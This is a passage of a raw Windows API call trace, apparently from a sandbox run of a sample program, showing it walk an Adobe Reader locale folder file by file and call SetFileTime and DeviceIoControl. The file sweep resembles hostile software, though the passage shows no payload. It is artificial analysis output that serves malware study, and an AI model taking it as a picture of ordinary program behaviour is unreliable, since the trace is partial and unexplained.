BaseAddress=0x124b7d0) returned 1 [0081.864] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.865] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0081.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.865] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.866] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.866] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.866] NtClose (Handle=0x174) returned 0x0 [0081.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.867] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.911] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.912] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="")) returned 1 [0081.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a0a8 [0081.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278668 [0081.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.914] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SUO", cAlternateFileName="")) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a0c8 [0081.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278878 [0081.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.915] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SUO", cAlternateFileName="")) returned 1 [0081.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a0e8 [0081.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278770 [0081.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.917] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SUO", cAlternateFileName="")) returned 1 [0081.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a108 [0081.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278b90 [0081.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.918] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SUO", cAlternateFileName="")) returned 1 [0081.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a128 [0081.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278c98 [0081.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.920] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SUO", cAlternateFileName="")) returned 1 [0081.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a148 [0081.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278da0 [0081.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6b00) returned 0x129a9f0 [0081.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0081.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.922] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SUO", cAlternateFileName="")) returned 1 [0081.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a168 [0081.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278ea8 [0081.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.923] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SUO", cAlternateFileName="")) returned 1 [0081.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a188 [0081.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278fb0 [0081.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.924] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SUO", cAlternateFileName="")) returned 1 [0081.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a1a8 [0081.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12790b8 [0081.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.926] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SUO", cAlternateFileName="")) returned 1 [0081.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a1c8 [0081.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12791c0 [0081.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.927] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SUO", cAlternateFileName="")) returned 1 [0081.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a1e8 [0081.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12792c8 [0081.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.929] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SUO", cAlternateFileName="")) returned 1 [0081.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a208 [0081.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12793d0 [0081.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.930] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SUO", cAlternateFileName="")) returned 1 [0081.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a228 [0081.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12794d8 [0081.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.931] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SUO", cAlternateFileName="")) returned 1 [0081.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a248 [0081.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12795e0 [0081.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.933] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SUO", cAlternateFileName="")) returned 1 [0081.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a268 [0081.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12796e8 [0081.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.934] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SUO", cAlternateFileName="")) returned 1 [0081.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a288 [0081.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12797f0 [0081.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.936] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SUO", cAlternateFileName="")) returned 1 [0081.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.937] FindNextFileW (in: 